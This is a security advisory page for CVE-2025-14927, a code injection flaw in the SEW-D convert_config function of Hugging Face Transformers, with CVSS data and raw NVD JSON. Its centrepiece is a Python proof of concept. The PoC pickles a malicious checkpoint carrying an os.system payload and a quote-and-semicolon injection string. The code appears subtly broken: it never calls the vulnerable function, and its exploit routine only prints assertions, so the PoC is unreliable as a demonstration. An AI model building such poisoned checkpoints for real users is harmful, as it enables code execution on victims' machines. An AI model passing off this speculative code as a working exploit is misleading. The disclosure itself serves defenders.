Security Vulnerability Report
中文
CVE-2025-14927 CVSS 7.8 HIGH

CVE-2025-14927

Published: 2025-12-23 21:15:48
Last Modified: 2026-01-15 16:49:35

Description

Hugging Face Transformers SEW-D convert_config Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must convert a malicious checkpoint. The specific flaw exists within the convert_config function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the current user. . Was ZDI-CAN-28252.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:huggingface:transformers:4.57.0:*:*:*:*:*:*:* - VULNERABLE
Hugging Face Transformers < 最新版本
Hugging Face Transformers SEW-D模块所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14927 PoC - Malicious checkpoint for SEW-D convert_config # This PoC demonstrates the code injection vulnerability in Hugging Face Transformers import torch import pickle import os def create_malicious_checkpoint(): """ Create a malicious checkpoint that exploits the convert_config vulnerability. The malicious code will be executed when convert_config processes the checkpoint. """ # Malicious payload - this will be executed in the context of the current user malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" # Create a malicious config with injected code # The vulnerability is in convert_config which doesn't validate user-supplied strings malicious_config = { 'model_type': 'sew-d', 'hidden_size': 768, 'num_attention_heads': 12, # Inject malicious code through config parameter 'checkpoint_path': f"'; {malicious_code}; #", 'injected_payload': malicious_code, } # Save as malicious checkpoint file checkpoint_data = { 'state_dict': torch.zeros((10, 10)), 'config': malicious_config, 'sew_d_config': malicious_config } with open('malicious_sew_d_checkpoint.pt', 'wb') as f: pickle.dump(checkpoint_data, f) print("[+] Malicious checkpoint created: malicious_sew_d_checkpoint.pt") return 'malicious_sew_d_checkpoint.pt' def exploit(): """ Simulate the exploitation process. In real attack, victim would call: from transformers import SEWDConfig config = SEWDConfig.from_pretrained('malicious_checkpoint') """ checkpoint_file = create_malicious_checkpoint() print(f"[+] Attacker can trick victim into loading: {checkpoint_file}") print("[+] When victim calls convert_config, injected code executes") print("[+] Code execution occurs in context of victim's user") if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14927", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:47.987", "lastModified": "2026-01-15T16:49:35.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hugging Face Transformers SEW-D convert_config Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must convert a malicious checkpoint.\n\nThe specific flaw exists within the convert_config function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the current user.\n\n. Was ZDI-CAN-28252."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:huggingface:transformers:4.57.0:*:*:*:*:*:*:*", "matchCriteriaId": "5540780B-B22B-4304-86AB-62CD30684847"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1148/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}